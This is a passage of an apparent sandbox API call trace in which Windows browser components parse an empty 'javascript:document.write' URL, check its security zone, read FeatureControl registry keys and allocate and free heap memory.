(in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581b88 | out: hHeap=0x510000) returned 1 [0041.910] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.910] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30ebb4, dwFlags=0x0 | out: pdwProperty=0x30ebb4*=0xf) returned 0x0 [0041.910] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.910] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30cb48 | out: ppu=0x30cb48) returned 0x0 [0041.910] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ab14 | out: ppu=0x30ab14) returned 0x0 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.910] wcsstr (_Str="javascript:document.write('');", _SubStr="\x01") returned 0x0 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x112) returned 0x581a68 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.910] wcsstr (_Str="javascript:document.write('');", _SubStr="%01") returned 0x0 [0041.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x21c) returned 0x581b88 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581a68 | out: hHeap=0x510000) returned 1 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x55f990, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ec10, pcbSecurityId=0x30ec0c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec10*=0x6a, pcbSecurityId=0x30ec0c*=0x89) returned 0x0 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ec10, pcbSecurityId=0x30ec0c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec10*=0x0, pcbSecurityId=0x30ec0c*=0x200) returned 0x800c0011 [0041.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581b88 | out: hHeap=0x510000) returned 1 [0041.910] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.910] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30e984, dwFlags=0x0 | out: pdwProperty=0x30e984*=0xf) returned 0x0 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x55f990, pwszUrl="javascript:document.write('');", pbSecurityId=0x30e9e0, pcbSecurityId=0x30e9dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e9e0*=0x6a, pcbSecurityId=0x30e9dc*=0x89) returned 0x0 [0041.910] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pbSecurityId=0x30e9e0, pcbSecurityId=0x30e9dc*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30e9e0*=0x0, pcbSecurityId=0x30e9dc*=0x200) returned 0x800c0011 [0041.911] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.911] GetFocus () returned 0x90132 [0041.911] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30ecb8 | out: lpPoint=0x30ecb8) returned 1 [0041.911] GetClientRect (in: hWnd=0x90132, lpRect=0x30eca8 | out: lpRect=0x30eca8) returned 1 [0041.911] GetCurrentProcessId () returned 0x7b4 [0041.911] GetCurrentThreadId () returned 0x86c [0041.911] IBinding:Abort (This=0x555be8) returned 0x0 [0041.911] IInternetProtocolRoot:Abort (This=0x556614, hrReason=0x80004004, dwOptions=0x0) returned 0x0 [0041.912] IUnknown:Release (This=0x53c694) returned 0x1a [0041.912] IUnknown:Release (This=0x53c694) returned 0x19 [0041.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5566a0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554fd0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d910 | out: hHeap=0x510000) returned 1 [0041.913] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a768, Size=0x4) returned 0x54a768 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53cac0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b620 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b8d8 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555040 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552000 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.913] IUnknown:Release (This=0x53c694) returned 0x18 [0041.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] IUnknown:Release (This=0x53c694) returned 0x17 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551de8 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551d80 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.914] IUnknown:Release (This=0x53c694) returned 0x16 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d868 | out: hHeap=0x510000) returned 1 [0041.915] IUnknown:Release (This=0x53c694) returned 0x15 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551188 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5242e0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5512c0 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a768 | out: hHeap=0x510000) returned 1 [0041.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b968 | out: hHeap=0x510000) returned 1 [0041.915] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ecf4 | out: phkResult=0x30ecf4*=0x25c) returned 0x0 [0041.915] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ecf8 | out: phkResult=0x30ecf8*=0x260) returned 0x0 [0041.916] RegOpenKeyExW (in: hKey=0x260, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x30ecb4 | out: phkResult=0x30ecb4*=0x0) returned 0x2 [0041.916] RegOpenKeyExW (in: hKey=0x25c, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x30ecb4 | out: phkResult=0x30ecb4*=0x0) returned 0x2 [0041.916] RegCloseKey (hKey=0x0) returned 0x6 [0041.916] RegCloseKey (hKey=0x0) returned 0x6 [0041.916] RegCloseKey (hKey=0x25c) returned 0x0 [0041.916] RegCloseKey (hKey=0x260) returned 0x0 [0041.916] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55a250 | out: hHeap=0x510000) returned 1 [0041.916] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5336a8 | out: hHeap=0x510000) returned 1 [0041.916] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552000 [0041.916] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b968 [0041.916] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x55f530 [0041.916] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x5525d8 [0041.916] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5525d8 | out: hHeap=0x510000) returned 1 [0041.916] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.916] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.916] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ead4, dwFlags=0x0 | out: pdwZone=0x30ead4*=0xffffffff) returned 0x800c0011 [0041.916] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.916] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.916] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.917] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x2106, pPolicy=0x30ead8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30ead8*=0x0) returned 0x0 [0041.917] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.917] SetTimer (hWnd=0x90132, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ca8 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552580 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] IUnknown:Release (This=0x53ad08) returned 0x1 [0041.917] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540058 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5515b8 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551fa8 | out: hHeap=0x510000) returned 1 [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55da58 | out: hHeap=0x510000) returned 1 [0041.917] GetCurrentThreadId () returned 0x86c [0041.917] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495d0 | out: hHeap=0x510000) returned 1 [0041.917] GetCurrentThreadId () returned 0x86c [0041.917] ValidateRect (hWnd=0x90132, lpRect=0x0) returned 1 [0041.917] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x5c) returned 0x55f9f8 [0041.918] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5515b8 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.918] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x55a250 [0041.918] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x554fd0 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554fd0 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55a250 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5515b8 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f9f8 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560a78 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569b80 | out: hHeap=0x510000) returned 1 [0041.918] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.918] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30ebb4, dwFlags=0x0 | out: pdwProperty=0x30ebb4*=0xf) returned 0x0 [0041.918] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.918] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30cb48 | out: ppu=0x30cb48) returned 0x0 [0041.918] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ab14 | out: ppu=0x30ab14) returned 0x0 [0041.918] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.919] wcsstr (_Str="javascript:document.write('');", _SubStr="\x01") returned 0x0 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x112) returned 0x554fd0 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x5544b0 [0041.919] wcsstr (_Str="javascript:document.write('');", _SubStr="%01") returned 0x0 [0041.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x21c) returned 0x54a768 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554fd0 | out: hHeap=0x510000) returned 1 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5544b0 | out: hHeap=0x510000) returned 1 [0041.919] IInternetSecurityManager:GetSecurityId (in: This=0x55f990, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ec18, pcbSecurityId=0x30ec14*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec18*=0x6a, pcbSecurityId=0x30ec14*=0x89) returned 0x0 [0041.919] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');\x01javascript:document.write('');", pbSecurityId=0x30ec18, pcbSecurityId=0x30ec14*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30ec18*=0x0, pcbSecurityId=0x30ec14*=0x200) returned 0x800c0011 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a768 | out: hHeap=0x510000) returned 1 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550ea8 | out: hHeap=0x510000) returned 1 [0041.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x550ea8 [0041.919] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0041.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] CoTaskMemAlloc (cb=0x6d) returned 0x55a250 [0041.920] CoTaskMemAlloc (cb=0x9) returned 0x574ca8 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fef0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ca20 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533648 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533628 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f3f0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5241c0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533688 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ff18 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ca38 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.921] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 